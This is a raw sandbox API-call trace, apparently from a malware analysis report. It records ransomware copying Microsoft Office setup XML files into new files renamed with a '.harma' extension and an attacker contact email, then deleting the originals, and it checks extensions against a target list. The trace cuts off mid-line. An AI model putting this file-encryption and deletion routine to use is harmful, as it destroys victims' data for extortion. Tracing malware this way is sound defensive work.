(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.320] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1458) returned 1 [0052.320] CloseHandle (hObject=0x1e0) returned 1 [0052.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20 [0052.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.320] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.320] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0052.396] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0052.397] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.397] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.397] SetEndOfFile (hFile=0x214) returned 1 [0052.398] CloseHandle (hObject=0x214) returned 1 [0052.398] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.398] SetEndOfFile (hFile=0x1e0) returned 1 [0052.399] CloseHandle (hObject=0x1e0) returned 1 [0052.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.399] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1 [0052.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.400] lstrlenW (lpString=".doc") returned 4 [0052.400] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString=".docx") returned 5 [0052.400] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.400] lstrlenW (lpString=".pdf") returned 4 [0052.400] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString=".xls") returned 4 [0052.400] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString=".xlsx") returned 5 [0052.400] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.400] lstrlenW (lpString=".ppt") returned 4 [0052.400] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.400] lstrlenW (lpString=".zip") returned 4 [0052.400] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.400] lstrlenW (lpString=".rar") returned 4 [0052.400] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString=".bz2") returned 4 [0052.400] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.400] lstrlenW (lpString=".7z") returned 3 [0052.400] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.400] lstrlenW (lpString=".dbf") returned 4 [0052.401] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.401] lstrlenW (lpString=".1cd") returned 4 [0052.401] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.401] lstrlenW (lpString=".jpg") returned 4 [0052.401] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.401] lstrlenW (lpString=".doc") returned 4 [0052.401] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString=".docx") returned 5 [0052.401] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0052.401] lstrlenW (lpString=".pdf") returned 4 [0052.401] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString=".xls") returned 4 [0052.401] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString=".xlsx") returned 5 [0052.401] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0052.401] lstrlenW (lpString=".ppt") returned 4 [0052.401] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.401] lstrlenW (lpString=".zip") returned 4 [0052.401] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.401] lstrlenW (lpString=".rar") returned 4 [0052.401] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString=".bz2") returned 4 [0052.401] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.401] lstrlenW (lpString=".7z") returned 3 [0052.402] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.402] lstrlenW (lpString=".dbf") returned 4 [0052.402] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.402] lstrlenW (lpString=".1cd") returned 4 [0052.402] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98 [0052.402] lstrlenW (lpString=".jpg") returned 4 [0052.402] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.402] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.402] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0052.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.403] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=16852) returned 1 [0052.403] CloseHandle (hObject=0x1e0) returned 1 [0052.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0052.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.404] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.404] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.404] GetLastError () returned 0x0 [0052.404] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0052.443] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0052.444] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.444] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0052.444] SetEndOfFile (hFile=0x214) returned 1 [0052.444] CloseHandle (hObject=0x214) returned 1 [0052.445] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.445] SetEndOfFile (hFile=0x1e0) returned 1 [0052.446] CloseHandle (hObject=0x1e0) returned 1 [0052.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0052.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.447] lstrlenW (lpString=".doc") returned 4 [0052.447] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.447] lstrlenW (lpString=".docx") returned 5 [0052.447] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0052.447] lstrlenW (lpString=".pdf") returned 4 [0052.447] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.447] lstrlenW (lpString=".xls") returned 4 [0052.447] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.447] lstrlenW (lpString=".xlsx") returned 5 [0052.447] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0052.447] lstrlenW (lpString=".ppt") returned 4 [0052.447] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.447] lstrlenW (lpString=".zip") returned 4 [0052.447] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.447] lstrlenW (lpString=".rar") returned 4 [0052.447] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString=".bz2") returned 4 [0052.448] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString=".7z") returned 3 [0052.448] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.448] lstrlenW (lpString=".dbf") returned 4 [0052.448] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.448] lstrlenW (lpString=".1cd") returned 4 [0052.448] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.448] lstrlenW (lpString=".jpg") returned 4 [0052.448] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.448] lstrlenW (lpString=".doc") returned 4 [0052.448] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString=".docx") returned 5 [0052.448] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0052.448] lstrlenW (lpString=".pdf") returned 4 [0052.448] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString=".xls") returned 4 [0052.448] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString=".xlsx") returned 5 [0052.448] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0052.448] lstrlenW (lpString=".ppt") returned 4 [0052.448] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.449] lstrlenW (lpString=".zip") returned 4 [0052.449] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.449] lstrlenW (lpString=".rar") returned 4 [0052.449] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.449] lstrlenW (lpString=".bz2") returned 4 [0052.449] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.449] lstrlenW (lpString=".7z") returned 3 [0052.449] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.449] lstrlenW (lpString=".dbf") returned 4 [0052.449] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.449] lstrlenW (lpString=".1cd") returned 4 [0052.449] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0052.449] lstrlenW (lpString=".jpg") returned 4 [0052.449] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.449] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.449] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0052.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.450] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1450) returned 1 [0052.450] CloseHandle (hObject=0x1e0) returned 1 [0052.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0052.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.450] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.450] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.457] GetLastError () returned 0x0 [0052.457] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0052.466] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0052.467] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.467] WriteFile (in: hFile=0x1f8, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0052.468] SetEndOfFile (hFile=0x1f8) returned 1 [0052.468] CloseHandle (hObject=0x1f8) returned 1 [0052.468] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.468] SetEndOfFile (hFile=0x1e0) returned 1 [0052.469] CloseHandle (hObject=0x1e0) returned 1 [0052.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0052.470] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.470] lstrlenW (lpString=".doc") returned 4 [0052.470] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.470] lstrlenW (lpString=".docx") returned 5 [0052.470] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.470] lstrlenW (lpString=".pdf") returned 4 [0052.470] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.470] lstrlenW (lpString=".xls") returned 4 [0052.470] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.470] lstrlenW (lpString=".xlsx") returned 5 [0052.470] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.470] lstrlenW (lpString=".ppt") returned 4 [0052.470] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString=".zip") returned 4 [0052.471] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.471] lstrlenW (lpString=".rar") returned 4 [0052.471] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString=".bz2") returned 4 [0052.471] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString=".7z") returned 3 [0052.471] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString=".dbf") returned 4 [0052.471] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString=".1cd") returned 4 [0052.471] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString=".jpg") returned 4 [0052.471] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0052.471] lstrlenW (lpString=".doc") returned 4 [0052.471] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString=".docx") returned 5 [0052.471] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.471] lstrlenW (lpString=".pdf") returned 4 [0052.471] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString=".xls") returned 4 [0052.471] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.471] lstrlenW (lpString=".xlsx") returned 5 [0052.471] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.472] lstrlenW (lpString=".ppt") returned 4 [0052.472] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.472] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 